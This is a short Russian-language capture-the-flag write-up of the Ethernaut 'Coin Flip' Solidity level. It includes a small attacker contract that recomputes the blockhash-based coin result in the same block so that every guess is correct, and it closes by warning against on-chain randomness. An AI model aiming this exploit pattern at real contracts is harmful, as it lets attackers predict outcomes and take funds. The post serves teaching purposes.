Ethernaut. Задача 3. Coin flip
В этой задаче нам нужно угадать сторону монетки 10 раз подряд.
Ссылка на задачу
В чем суть?
Казалось бы, предугадать падение монетки на какую-либо сторону, является задачей с вероятностью 50/50, особенно учитывая рандомное число в Factor.
Однако в Solidity большие проблемы со случайными числами, особенно теми, которые основаны на block.number.
Мы можем написать свой контракт, который будет предугадывать сторону. Как раз за счет block.number и проведения транзакции в одном блоке, мы сможем предсказать сторону.
Простой контракт может выглядеть так:
contract Hack {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function hack (CoinFlip _flip) external{
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
_flip.flip(side);
}
}
В общем, никогда не создавайте случайные числа, используя средства Solidity и block.number. Для этого лучше подключать сторонние сервисы, типа Chainlink VRF.
#ethernaut
Post #386
260
- 👍 2